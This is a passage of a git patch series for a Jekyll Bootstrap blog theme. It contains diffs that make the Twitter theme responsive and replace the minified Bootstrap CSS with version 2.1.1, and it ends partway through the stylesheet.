</div> <footer> - <script type="text/javascript"> - var currentTime = new Date(); - </script> - - <p>© {{ site.author.name }} <script type="text/javascript">document.write(currentTime.getFullYear());</script> + <p>© {{ site.author.name }} {{ site.time | date: '%Y' }} with help from <a href="http://jekyllbootstrap.com" target="_blank" title="The Definitive Jekyll Blogging Framework">Jekyll Bootstrap</a> and <a href="http://twitter.github.com/bootstrap/" target="_blank">Twitter Bootstrap</a> </p> From 5a77785114d1ecb545b3fd7f26e5bcaef5415f1b Mon Sep 17 00:00:00 2001 From: Jeff Kuchta <jkuchta@gmail.com> Date: Fri, 22 Feb 2013 23:27:15 -0700 Subject: [PATCH 111/144] Make it responsive out of the gate --- _includes/themes/twitter/default.html | 9 ++++++--- _includes/themes/twitter/page.html | 2 +- _includes/themes/twitter/post.html | 2 +- assets/themes/twitter/css/style.css | 4 ++++ 4 files changed, 12 insertions(+), 5 deletions(-) diff --git a/_includes/themes/twitter/default.html b/_includes/themes/twitter/default.html index 29b0626..0703bed 100644 --- a/_includes/themes/twitter/default.html +++ b/_includes/themes/twitter/default.html @@ -6,6 +6,9 @@ {% if page.description %}<meta name="description" content="{{ page.description }}">{% endif %} <meta name="author" content="{{ site.author.name }}"> + <!-- Enable responsive viewport --> + <meta name="viewport" content="width=device-width, initial-scale=1.0"> + <!-- Le HTML5 shim, for IE6-8 support of HTML elements --> <!--[if lt IE 9]> <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script> @@ -28,7 +31,7 @@ <div class="navbar"> <div class="navbar-inner"> - <div class="container"> + <div class="container-fluid"> <a class="brand" href="{{ HOME_PATH }}">{{ site.title }}</a> <ul class="nav"> {% assign pages_list = site.pages %} @@ -39,7 +42,7 @@ </div> </div> - <div class="container"> + <div class="container-fluid"> <div class="content"> {{ content }} @@ -52,7 +55,7 @@ </p> </footer> - </div> <!-- /container --> + </div> <!-- /container-fluid --> {% include JB/analytics %} </body> diff --git a/_includes/themes/twitter/page.html b/_includes/themes/twitter/page.html index b86f4d6..ff105c1 100644 --- a/_includes/themes/twitter/page.html +++ b/_includes/themes/twitter/page.html @@ -2,7 +2,7 @@ <h1>{{ page.title }} {% if page.tagline %} <small>{{ page.tagline }}</small>{% endif %}</h1> </div> -<div class="row"> +<div class="row-fluid"> <div class="span12"> {{ content }} </div> diff --git a/_includes/themes/twitter/post.html b/_includes/themes/twitter/post.html index 0b9f472..53a3550 100644 --- a/_includes/themes/twitter/post.html +++ b/_includes/themes/twitter/post.html @@ -2,7 +2,7 @@ <h1>{{ page.title }} <small>Supporting tagline</small></h1> </div> -<div class="row"> +<div class="row-fluid"> <div class="span8"> {{ content }} <hr> diff --git a/assets/themes/twitter/css/style.css b/assets/themes/twitter/css/style.css index 12a24e0..afe82a9 100644 --- a/assets/themes/twitter/css/style.css +++ b/assets/themes/twitter/css/style.css @@ -68,4 +68,8 @@ html, body { border:1px solid #4C964D; color:#FFF; } +footer p{ + text-align: center; + margin-top: 4px; +} \ No newline at end of file From 4d45997ef14bd080653b7208ed06787acbd2227f Mon Sep 17 00:00:00 2001 From: Marko Bauhardt <marko.bauhardt@googlemail.com> Date: Tue, 16 Oct 2012 21:53:25 +0200 Subject: [PATCH 112/144] update twitter bootstrap css and png's to version 2.1.1 --- .../twitter/bootstrap/css/bootstrap.min.css | 641 +----------------- .../img/glyphicons-halflings-white.png | Bin 4352 -> 8777 bytes .../bootstrap/img/glyphicons-halflings.png | Bin 4352 -> 12799 bytes 3 files changed, 9 insertions(+), 632 deletions(-) diff --git a/assets/themes/twitter/bootstrap/css/bootstrap.min.css b/assets/themes/twitter/bootstrap/css/bootstrap.min.css index 30dcae0..31d8b96 100644 --- a/assets/themes/twitter/bootstrap/css/bootstrap.min.css +++ b/assets/themes/twitter/bootstrap/css/bootstrap.min.css @@ -1,632 +1,9 @@ -article,aside,details,figcaption,figure,footer,header,hgroup,nav,section{display:block;} -audio,canvas,video{display:inline-block;*display:inline;*zoom:1;} -audio:not([controls]){display:none;} -html{font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;} -a:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px;} -a:hover,a:active{outline:0;} -sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline;} -sup{top:-0.5em;} -sub{bottom:-0.25em;} -img{max-width:100%;height:auto;border:0;-ms-interpolation-mode:bicubic;} -button,input,select,textarea{margin:0;font-size:100%;vertical-align:middle;} -button,input{*overflow:visible;line-height:normal;} -button::-moz-focus-inner,input::-moz-focus-inner{padding:0;border:0;} -button,input[type="button"],input[type="reset"],input[type="submit"]{cursor:pointer;-webkit-appearance:button;} -input[type="search"]{-webkit-appearance:textfield;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;} -input[type="search"]::-webkit-search-decoration,input[type="search"]::-webkit-search-cancel-button{-webkit-appearance:none;} -textarea{overflow:auto;vertical-align:top;} -.clearfix{*zoom:1;}.clearfix:before,.clearfix:after{display:table;content:"";} -.clearfix:after{clear:both;} -body{margin:0;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:13px;line-height:18px;color:#333333;background-color:#ffffff;} -a{color:#0088cc;text-decoration:none;} -a:hover{color:#005580;text-decoration:underline;} -.row{margin-left:-20px;*zoom:1;}.row:before,.row:after{display:table;content:"";} -.row:after{clear:both;} -[class*="span"]{float:left;margin-left:20px;} -.span1{width:60px;} -.span2{width:140px;} -.span3{width:220px;} -.span4{width:300px;} -.span5{width:380px;} -.span6{width:460px;} -.span7{width:540px;} -.span8{width:620px;} -.span9{width:700px;} -.span10{width:780px;} -.span11{width:860px;} -.span12,.container{width:940px;} -.offset1{margin-left:100px;} -.offset2{margin-left:180px;} -.offset3{margin-left:260px;} -.offset4{margin-left:340px;} -.offset5{margin-left:420px;} -.offset6{margin-left:500px;} -.offset7{margin-left:580px;} -.offset8{margin-left:660px;} -.offset9{margin-left:740px;} -.offset10{margin-left:820px;} -.offset11{margin-left:900px;} -.row-fluid{width:100%;*zoom:1;}.row-fluid:before,.row-fluid:after{display:table;content:"";} -.row-fluid:after{clear:both;} -.row-fluid>[class*="span"]{float:left;margin-left:2.127659574%;} -.row-fluid>[class*="span"]:first-child{margin-left:0;} -.row-fluid>.span1{width:6.382978723%;} -.row-fluid>.span2{width:14.89361702%;} -.row-fluid>.span3{width:23.404255317%;} -.row-fluid>.span4{width:31.914893614%;} -.row-fluid>.span5{width:40.425531911%;} -.row-fluid>.span6{width:48.93617020799999%;} -.row-fluid>.span7{width:57.446808505%;} -.row-fluid>.span8{width:65.95744680199999%;} -.row-fluid>.span9{width:74.468085099%;} -.row-fluid>.span10{width:82.97872339599999%;} -.row-fluid>.span11{width:91.489361693%;} -.row-fluid>.span12{width:99.99999998999999%;} -.container{width:940px;margin-left:auto;margin-right:auto;*zoom:1;}.container:before,.container:after{display:table;content:"";} -.container:after{clear:both;} -.container-fluid{padding-left:20px;padding-right:20px;*zoom:1;}.container-fluid:before,.container-fluid:after{display:table;content:"";} -.container-fluid:after{clear:both;} -p{margin:0 0 9px;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:13px;line-height:18px;}p small{font-size:11px;color:#999999;} -.lead{margin-bottom:18px;font-size:20px;font-weight:200;line-height:27px;} -h1,h2,h3,h4,h5,h6{margin:0;font-weight:bold;color:#333333;text-rendering:optimizelegibility;}h1 small,h2 small,h3 small,h4 small,h5 small,h6 small{font-weight:normal;color:#999999;} -h1{font-size:30px;line-height:36px;}h1 small{font-size:18px;} -h2{font-size:24px;line-height:36px;}h2 small{font-size:18px;} -h3{line-height:27px;font-size:18px;}h3 small{font-size:14px;} -h4,h5,h6{line-height:18px;} -h4{font-size:14px;}h4 small{font-size:12px;} -h5{font-size:12px;} -h6{font-size:11px;color:#999999;text-transform:uppercase;} -.page-header{padding-bottom:17px;margin:18px 0;border-bottom:1px solid #eeeeee;} -.page-header h1{line-height:1;} -ul,ol{padding:0;margin:0 0 9px 25px;} -ul ul,ul ol,ol ol,ol ul{margin-bottom:0;} -ul{list-style:disc;} -ol{list-style:decimal;} -li{line-height:18px;} -ul.unstyled,ol.unstyled{margin-left:0;list-style:none;} -dl{margin-bottom:18px;} -dt,dd{line-height:18px;} -dt{font-weight:bold;} -dd{margin-left:9px;} -hr{margin:18px 0;border:0;border-top:1px solid #eeeeee;border-bottom:1px solid #ffffff;} -strong{font-weight:bold;} -em{font-style:italic;} -.muted{color:#999999;} -abbr{font-size:90%;text-transform:uppercase;border-bottom:1px dotted #ddd;cursor:help;} -blockquote{padding:0 0 0 15px;margin:0 0 18px;border-left:5px solid #eeeeee;}blockquote p{margin-bottom:0;font-size:16px;font-weight:300;line-height:22.5px;} -blockquote small{display:block;line-height:18px;color:#999999;}blockquote small:before{content:'\2014 \00A0';} -blockquote.pull-right{float:right;padding-left:0;padding-right:15px;border-left:0;border-right:5px solid #eeeeee;}blockquote.pull-right p,blockquote.pull-right small{text-align:right;} -q:before,q:after,blockquote:before,blockquote:after{content:"";} -address{display:block;margin-bottom:18px;line-height:18px;font-style:normal;} -small{font-size:100%;} -cite{font-style:normal;} -code,pre{padding:0 3px 2px;font-family:Menlo,Monaco,"Courier New",monospace;font-size:12px;color:#333333;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;} -code{padding:3px 4px;color:#d14;background-color:#f7f7f9;border:1px solid #e1e1e8;} -pre{display:block;padding:8.5px;margin:0 0 9px;font-size:12px;line-height:18px;background-color:#f5f5f5;border:1px solid #ccc;border:1px solid rgba(0, 0, 0, 0.15);-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;white-space:pre;white-space:pre-wrap;word-break:break-all;word-wrap:break-word;}pre.prettyprint{margin-bottom:18px;} -pre code{padding:0;color:inherit;background-color:transparent;border:0;} -.pre-scrollable{max-height:340px;overflow-y:scroll;} -form{margin:0 0 18px;} -fieldset{padding:0;margin:0;border:0;} -legend{display:block;width:100%;padding:0;margin-bottom:27px;font-size:19.5px;line-height:36px;color:#333333;border:0;border-bottom:1px solid #eee;}legend small{font-size:13.5px;color:#999999;} -label,input,button,select,textarea{font-size:13px;font-weight:normal;line-height:18px;} -input,button,select,textarea{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;} -label{display:block;margin-bottom:5px;color:#333333;} -input,textarea,select,.uneditable-input{display:inline-block;width:210px;height:18px;padding:4px;margin-bottom:9px;font-size:13px;line-height:18px;color:#555555;border:1px solid #ccc;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;} -.uneditable-textarea{width:auto;height:auto;} -label input,label textarea,label select{display:block;} -input[type="image"],input[type="checkbox"],input[type="radio"]{width:auto;height:auto;padding:0;margin:3px 0;*margin-top:0;line-height:normal;cursor:pointer;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;border:0 \9;} -input[type="image"]{border:0;} -input[type="file"]{width:auto;padding:initial;line-height:initial;border:initial;background-color:#ffffff;background-color:initial;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;} -input[type="button"],input[type="reset"],input[type="submit"]{width:auto;height:auto;} -select,input[type="file"]{height:28px;*margin-top:4px;line-height:28px;} -input[type="file"]{line-height:18px \9;} -select{width:220px;background-color:#ffffff;} -select[multiple],select[size]{height:auto;} -input[type="image"]{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;} -textarea{height:auto;} -input[type="hidden"]{display:none;} -.radio,.checkbox{padding-left:18px;} -.radio input[type="radio"],.checkbox input[type="checkbox"]{float:left;margin-left:-18px;} -.controls>.radio:first-child,.controls>.checkbox:first-child{padding-top:5px;} -.radio.inline,.checkbox.inline{display:inline-block;padding-top:5px;margin-bottom:0;vertical-align:middle;} -.radio.inline+.radio.inline,.checkbox.inline+.checkbox.inline{margin-left:10px;} -input,textarea{-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-webkit-transition:border linear 0.2s,box-shadow linear 0.2s;-moz-transition:border linear 0.2s,box-shadow linear 0.2s;-ms-transition:border linear 0.2s,box-shadow linear 0.2s;-o-transition:border linear 0.2s,box-shadow linear 0.2s;transition:border linear 0.2s,box-shadow linear 0.2s;} -input:focus,textarea:focus{border-color:rgba(82, 168, 236, 0.8);-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 8px rgba(82, 168, 236, 0.6);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 8px rgba(82, 168, 236, 0.6);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 8px rgba(82, 168, 236, 0.6);outline:0;outline:thin dotted \9;} -input[type="file"]:focus,input[type="radio"]:focus,input[type="checkbox"]:focus,select:focus{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px;} -.input-mini{width:60px;} -.input-small{width:90px;} -.input-medium{width:150px;} -.input-large{width:210px;} -.input-xlarge{width:270px;} -.input-xxlarge{width:530px;} -input[class*="span"],select[class*="span"],textarea[class*="span"],.uneditable-input{float:none;margin-left:0;} -input.span1,textarea.span1,.uneditable-input.span1{width:50px;} -input.span2,textarea.span2,.uneditable-input.span2{width:130px;} -input.span3,textarea.span3,.uneditable-input.span3{width:210px;} -input.span4,textarea.span4,.uneditable-input.span4{width:290px;} -input.span5,textarea.span5,.uneditable-input.span5{width:370px;} -input.span6,textarea.span6,.uneditable-input.span6{width:450px;} -input.span7,textarea.span7,.uneditable-input.span7{width:530px;} -input.span8,textarea.span8,.uneditable-input.span8{width:610px;} -input.span9,textarea.span9,.uneditable-input.span9{width:690px;} -input.span10,textarea.span10,.uneditable-input.span10{width:770px;} -input.span11,textarea.span11,.uneditable-input.span11{width:850px;} -input.span12,textarea.span12,.uneditable-input.span12{width:930px;} -input[disabled],select[disabled],textarea[disabled],input[readonly],select[readonly],textarea[readonly]{background-color:#f5f5f5;border-color:#ddd;cursor:not-allowed;} -.control-group.warning>label,.control-group.warning .help-block,.control-group.warning .help-inline{color:#c09853;} -.control-group.warning input,.control-group.warning select,.control-group.warning textarea{color:#c09853;border-color:#c09853;}.control-group.warning input:focus,.control-group.warning select:focus,.control-group.warning textarea:focus{border-color:#a47e3c;-webkit-box-shadow:0 0 6px #dbc59e;-moz-box-shadow:0 0 6px #dbc59e;box-shadow:0 0 6px #dbc59e;} -.control-group.warning .input-prepend .add-on,.control-group.warning .input-append .add-on{color:#c09853;background-color:#fcf8e3;border-color:#c09853;} -.control-group.error>label,.control-group.error .help-block,.control-group.error .help-inline{color:#b94a48;} -.control-group.error input,.control-group.error select,.control-group.error textarea{color:#b94a48;border-color:#b94a48;}.control-group.error input:focus,.control-group.error select:focus,.control-group.error textarea:focus{border-color:#953b39;-webkit-box-shadow:0 0 6px #d59392;-moz-box-shadow:0 0 6px #d59392;box-shadow:0 0 6px #d59392;} -.control-group.error .input-prepend .add-on,.control-group.error .input-append .add-on{color:#b94a48;background-color:#f2dede;border-color:#b94a48;} -.control-group.success>label,.control-group.success .help-block,.control-group.success .help-inline{color:#468847;} -.control-group.success input,.control-group.success select,.control-group.success textarea{color:#468847;border-color:#468847;}.control-group.success input:focus,.control-group.success select:focus,.control-group.success textarea:focus{border-color:#356635;-webkit-box-shadow:0 0 6px #7aba7b;-moz-box-shadow:0 0 6px #7aba7b;box-shadow:0 0 6px #7aba7b;} -.control-group.success .input-prepend .add-on,.control-group.success .input-append .add-on{color:#468847;background-color:#dff0d8;border-color:#468847;} -input:focus:required:invalid,textarea:focus:required:invalid,select:focus:required:invalid{color:#b94a48;border-color:#ee5f5b;}input:focus:required:invalid:focus,textarea:focus:required:invalid:focus,select:focus:required:invalid:focus{border-color:#e9322d;-webkit-box-shadow:0 0 6px #f8b9b7;-moz-box-shadow:0 0 6px #f8b9b7;box-shadow:0 0 6px #f8b9b7;} -.form-actions{padding:17px 20px 18px;margin-top:18px;margin-bottom:18px;background-color:#f5f5f5;border-top:1px solid #ddd;} -.uneditable-input{display:block;background-color:#ffffff;border-color:#eee;-webkit-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.025);-moz-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.025);box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.025);cursor:not-allowed;} -:-moz-placeholder{color:#999999;} -::-webkit-input-placeholder{color:#999999;} -.help-block{display:block;margin-top:5px;margin-bottom:0;color:#999999;} -.help-inline{display:inline-block;*display:inline;*zoom:1;margin-bottom:9px;vertical-align:middle;padding-left:5px;} -.input-prepend,.input-append{margin-bottom:5px;*zoom:1;}.input-prepend:before,.input-append:before,.input-prepend:after,.input-append:after{display:table;content:"";} -.input-prepend:after,.input-append:after{clear:both;} -.input-prepend input,.input-append input,.input-prepend .uneditable-input,.input-append .uneditable-input{-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;border-radius:0 3px 3px 0;}.input-prepend input:focus,.input-append input:focus,.input-prepend .uneditable-input:focus,.input-append .uneditable-input:focus{position:relative;z-index:2;} -.input-prepend .uneditable-input,.input-append .uneditable-input{border-left-color:#ccc;} -.input-prepend .add-on,.input-append .add-on{float:left;display:block;width:auto;min-width:16px;height:18px;margin-right:-1px;padding:4px 5px;font-weight:normal;line-height:18px;color:#999999;text-align:center;text-shadow:0 1px 0 #ffffff;background-color:#f5f5f5;border:1px solid #ccc;-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px;} -.input-prepend .active,.input-append .active{background-color:#a9dba9;border-color:#46a546;} -.input-prepend .add-on{*margin-top:1px;} -.input-append input,.input-append .uneditable-input{float:left;-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px;} -.input-append .uneditable-input{border-left-color:#eee;border-right-color:#ccc;} -.input-append .add-on{margin-right:0;margin-left:-1px;-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;border-radius:0 3px 3px 0;} -.input-append input:first-child{*margin-left:-160px;}.input-append input:first-child+.add-on{*margin-left:-21px;} -.search-query{padding-left:14px;padding-right:14px;margin-bottom:0;-webkit-border-radius:14px;-moz-border-radius:14px;border-radius:14px;} -.form-search input,.form-inline input,.form-horizontal input,.form-search textarea,.form-inline textarea,.form-horizontal textarea,.form-search select,.form-inline select,.form-horizontal select,.form-search .help-inline,.form-inline .help-inline,.form-horizontal .help-inline,.form-search .uneditable-input,.form-inline .uneditable-input,.form-horizontal .uneditable-input{display:inline-block;margin-bottom:0;} -.form-search .hide,.form-inline .hide,.form-horizontal .hide{display:none;} -.form-search label,.form-inline label,.form-search .input-append,.form-inline .input-append,.form-search .input-prepend,.form-inline .input-prepend{display:inline-block;} -.form-search .input-append .add-on,.form-inline .input-prepend .add-on,.form-search .input-append .add-on,.form-inline .input-prepend .add-on{vertical-align:middle;} -.form-search .radio,.form-inline .radio,.form-search .checkbox,.form-inline .checkbox{margin-bottom:0;vertical-align:middle;} -.control-group{margin-bottom:9px;} -legend+.control-group{margin-top:18px;-webkit-margin-top-collapse:separate;} -.form-horizontal .control-group{margin-bottom:18px;*zoom:1;}.form-horizontal .control-group:before,.form-horizontal .control-group:after{display:table;content:"";} -.form-horizontal .control-group:after{clear:both;} -.form-horizontal .control-label{float:left;width:140px;padding-top:5px;text-align:right;} -.form-horizontal .controls{margin-left:160px;} -.form-horizontal .form-actions{padding-left:160px;} -table{max-width:100%;border-collapse:collapse;border-spacing:0;} -.table{width:100%;margin-bottom:18px;}.table th,.table td{padding:8px;line-height:18px;text-align:left;vertical-align:top;border-top:1px solid #ddd;} -.table th{font-weight:bold;} -.table thead th{vertical-align:bottom;} -.table thead:first-child tr th,.table thead:first-child tr td{border-top:0;} -.table tbody+tbody{border-top:2px solid #ddd;} -.table-condensed th,.table-condensed td{padding:4px 5px;} -.table-bordered{border:1px solid #ddd;border-collapse:separate;*border-collapse:collapsed;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;}.table-bordered th+th,.table-bordered td+td,.table-bordered th+td,.table-bordered td+th{border-left:1px solid #ddd;} -.table-bordered thead:first-child tr:first-child th,.table-bordered tbody:first-child tr:first-child th,.table-bordered tbody:first-child tr:first-child td{border-top:0;} -.table-bordered thead:first-child tr:first-child th:first-child,.table-bordered tbody:first-child tr:first-child td:first-child{-webkit-border-radius:4px 0 0 0;-moz-border-radius:4px 0 0 0;border-radius:4px 0 0 0;} -.table-bordered thead:first-child tr:first-child th:last-child,.table-bordered tbody:first-child tr:first-child td:last-child{-webkit-border-radius:0 4px 0 0;-moz-border-radius:0 4px 0 0;border-radius:0 4px 0 0;} -.table-bordered thead:last-child tr:last-child th:first-child,.table-bordered tbody:last-child tr:last-child td:first-child{-webkit-border-radius:0 0 0 4px;-moz-border-radius:0 0 0 4px;border-radius:0 0 0 4px;} -.table-bordered thead:last-child tr:last-child th:last-child,.table-bordered tbody:last-child tr:last-child td:last-child{-webkit-border-radius:0 0 4px 0;-moz-border-radius:0 0 4px 0;border-radius:0 0 4px 0;} -.table-striped tbody tr:nth-child(odd) td,.table-striped tbody tr:nth-child(odd) th{background-color:#f9f9f9;} -.table tbody tr:hover td,.table tbody tr:hover th{background-color:#f5f5f5;} -table .span1{float:none;width:44px;margin-left:0;} -table .span2{float:none;width:124px;margin-left:0;} -table .span3{float:none;width:204px;margin-left:0;} -table .span4{float:none;width:284px;margin-left:0;} -table .span5{float:none;width:364px;margin-left:0;} -table .span6{float:none;width:444px;margin-left:0;} -table .span7{float:none;width:524px;margin-left:0;} -table .span8{float:none;width:604px;margin-left:0;} -table .span9{float:none;width:684px;margin-left:0;} -table .span10{float:none;width:764px;margin-left:0;} -table .span11{float:none;width:844px;margin-left:0;} -table .span12{float:none;width:924px;margin-left:0;} -[class^="icon-"],[class*=" icon-"]{display:inline-block;width:14px;height:14px;line-height:14px;vertical-align:text-top;background-image:url("../img/glyphicons-halflings.png");background-position:14px 14px;background-repeat:no-repeat;*margin-right:.3em;}[class^="icon-"]:last-child,[class*=" icon-"]:last-child{*margin-left:0;} -.icon-white{background-image:url("../img/glyphicons-halflings-white.png");} -.icon-glass{background-position:0 0;} -.icon-music{background-position:-24px 0;} -.icon-search{background-position:-48px 0;} -.icon-envelope{background-position:-72px 0;} -.icon-heart{background-position:-96px 0;} -.icon-star{background-position:-120px 0;} -.icon-star-empty{background-position:-144px 0;} -.icon-user{background-position:-168px 0;} -.icon-film{background-position:-192px 0;} -.icon-th-large{background-position:-216px 0;} -.icon-th{background-position:-240px 0;} -.icon-th-list{background-position:-264px 0;} -.icon-ok{background-position:-288px 0;} -.icon-remove{background-position:-312px 0;} -.icon-zoom-in{background-position:-336px 0;} -.icon-zoom-out{background-position:-360px 0;} -.icon-off{background-position:-384px 0;} -.icon-signal{background-position:-408px 0;} -.icon-cog{background-position:-432px 0;} -.icon-trash{background-position:-456px 0;} -.icon-home{background-position:0 -24px;} -.icon-file{background-position:-24px -24px;} -.icon-time{background-position:-48px -24px;} -.icon-road{background-position:-72px -24px;} -.icon-download-alt{background-position:-96px -24px;} -.icon-download{background-position:-120px -24px;} -.icon-upload{background-position:-144px -24px;} -.icon-inbox{background-position:-168px -24px;} -.icon-play-circle{background-position:-192px -24px;} -.icon-repeat{background-position:-216px -24px;} -.icon-refresh{background-position:-240px -24px;} -.icon-list-alt{background-position:-264px -24px;} -.icon-lock{background-position:-287px -24px;} -.icon-flag{background-position:-312px -24px;} -.icon-headphones{background-position:-336px -24px;} -.icon-volume-off{background-position:-360px -24px;} -.icon-volume-down{background-position:-384px -24px;} -.icon-volume-up{background-position:-408px -24px;} -.icon-qrcode{background-position:-432px -24px;} -.icon-barcode{background-position:-456px -24px;} -.icon-tag{background-position:0 -48px;} -.icon-tags{background-position:-25px -48px;} -.icon-book{background-position:-48px -48px;} -.icon-bookmark{background-position:-72px -48px;} -.icon-print{background-position:-96px -48px;} -.icon-camera{background-position:-120px -48px;} -.icon-font{background-position:-144px -48px;} -.icon-bold{background-position:-167px -48px;} -.icon-italic{background-position:-192px -48px;} -.icon-text-height{background-position:-216px -48px;} -.icon-text-width{background-position:-240px -48px;} -.icon-align-left{background-position:-264px -48px;} -.icon-align-center{background-position:-288px -48px;} -.icon-align-right{background-position:-312px -48px;} -.icon-align-justify{background-position:-336px -48px;} -.icon-list{background-position:-360px -48px;} -.icon-indent-left{background-position:-384px -48px;} -.icon-indent-right{background-position:-408px -48px;} -.icon-facetime-video{background-position:-432px -48px;} -.icon-picture{background-position:-456px -48px;} -.icon-pencil{background-position:0 -72px;} -.icon-map-marker{background-position:-24px -72px;} -.icon-adjust{background-position:-48px -72px;} -.icon-tint{background-position:-72px -72px;} -.icon-edit{background-position:-96px -72px;} -.icon-share{background-position:-120px -72px;} -.icon-check{background-position:-144px -72px;} -.icon-move{background-position:-168px -72px;} -.icon-step-backward{background-position:-192px -72px;} -.icon-fast-backward{background-position:-216px -72px;} -.icon-backward{background-position:-240px -72px;} -.icon-play{background-position:-264px -72px;} -.icon-pause{background-position:-288px -72px;} -.icon-stop{background-position:-312px -72px;} -.icon-forward{background-position:-336px -72px;} -.icon-fast-forward{background-position:-360px -72px;} -.icon-step-forward{background-position:-384px -72px;} -.icon-eject{background-position:-408px -72px;} -.icon-chevron-left{background-position:-432px -72px;} -.icon-chevron-right{background-position:-456px -72px;} -.icon-plus-sign{background-position:0 -96px;} -.icon-minus-sign{background-position:-24px -96px;} -.icon-remove-sign{background-position:-48px -96px;} -.icon-ok-sign{background-position:-72px -96px;} -.icon-question-sign{background-position:-96px -96px;} -.icon-info-sign{background-position:-120px -96px;} -.icon-screenshot{background-position:-144px -96px;} -.icon-remove-circle{background-position:-168px -96px;} -.icon-ok-circle{background-position:-192px -96px;} -.icon-ban-circle{background-position:-216px -96px;} -.icon-arrow-left{background-position:-240px -96px;} -.icon-arrow-right{background-position:-264px -96px;} -.icon-arrow-up{background-position:-289px -96px;} -.icon-arrow-down{background-position:-312px -96px;} -.icon-share-alt{background-position:-336px -96px;} -.icon-resize-full{background-position:-360px -96px;} -.icon-resize-small{background-position:-384px -96px;} -.icon-plus{background-position:-408px -96px;} -.icon-minus{background-position:-433px -96px;} -.icon-asterisk{background-position:-456px -96px;} -.icon-exclamation-sign{background-position:0 -120px;} -.icon-gift{background-position:-24px -120px;} -.icon-leaf{background-position:-48px -120px;} -.icon-fire{background-position:-72px -120px;} -.icon-eye-open{background-position:-96px -120px;} -.icon-eye-close{background-position:-120px -120px;} -.icon-warning-sign{background-position:-144px -120px;} -.icon-plane{background-position:-168px -120px;} -.icon-calendar{background-position:-192px -120px;} -.icon-random{background-position:-216px -120px;} -.icon-comment{background-position:-240px -120px;} -.icon-magnet{background-position:-264px -120px;} -.icon-chevron-up{background-position:-288px -120px;} -.icon-chevron-down{background-position:-313px -119px;} -.icon-retweet{background-position:-336px -120px;} -.icon-shopping-cart{background-position:-360px -120px;} -.icon-folder-close{background-position:-384px -120px;} -.icon-folder-open{background-position:-408px -120px;} -.icon-resize-vertical{background-position:-432px -119px;} -.icon-resize-horizontal{background-position:-456px -118px;} -.dropdown{position:relative;} -.dropdown-toggle{*margin-bottom:-3px;} -.dropdown-toggle:active,.open .dropdown-toggle{outline:0;} -.caret{display:inline-block;width:0;height:0;text-indent:-99999px;*text-indent:0;vertical-align:top;border-left:4px solid transparent;border-right:4px solid transparent;border-top:4px solid #000000;opacity:0.3;filter:alpha(opacity=30);content:"\2193";} -.dropdown .caret{margin-top:8px;margin-left:2px;} -.dropdown:hover .caret,.open.dropdown .caret{opacity:1;filter:alpha(opacity=100);} -.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;float:left;display:none;min-width:160px;_width:160px;padding:4px 0;margin:0;list-style:none;background-color:#ffffff;border-color:#ccc;border-color:rgba(0, 0, 0, 0.2);border-style:solid;border-width:1px;-webkit-border-radius:0 0 5px 5px;-moz-border-radius:0 0 5px 5px;border-radius:0 0 5px 5px;-webkit-box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);-moz-box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);-webkit-background-clip:padding-box;-moz-background-clip:padding;background-clip:padding-box;*border-right-width:2px;*border-bottom-width:2px;}.dropdown-menu.bottom-up{top:auto;bottom:100%;margin-bottom:2px;} -.dropdown-menu .divider{height:1px;margin:5px 1px;overflow:hidden;background-color:#e5e5e5;border-bottom:1px solid #ffffff;*width:100%;*margin:-5px 0 5px;} -.dropdown-menu a{display:block;padding:3px 15px;clear:both;font-weight:normal;line-height:18px;color:#555555;white-space:nowrap;} -.dropdown-menu li>a:hover,.dropdown-menu .active>a,.dropdown-menu .active>a:hover{color:#ffffff;text-decoration:none;background-color:#0088cc;} -.dropdown.open{*z-index:1000;}.dropdown.open .dropdown-toggle{color:#ffffff;background:#ccc;background:rgba(0, 0, 0, 0.3);} -.dropdown.open .dropdown-menu{display:block;} -.typeahead{margin-top:2px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;} -.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #eee;border:1px solid rgba(0, 0, 0, 0.05);-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);}.well blockquote{border-color:#ddd;border-color:rgba(0, 0, 0, 0.15);} -.fade{-webkit-transition:opacity 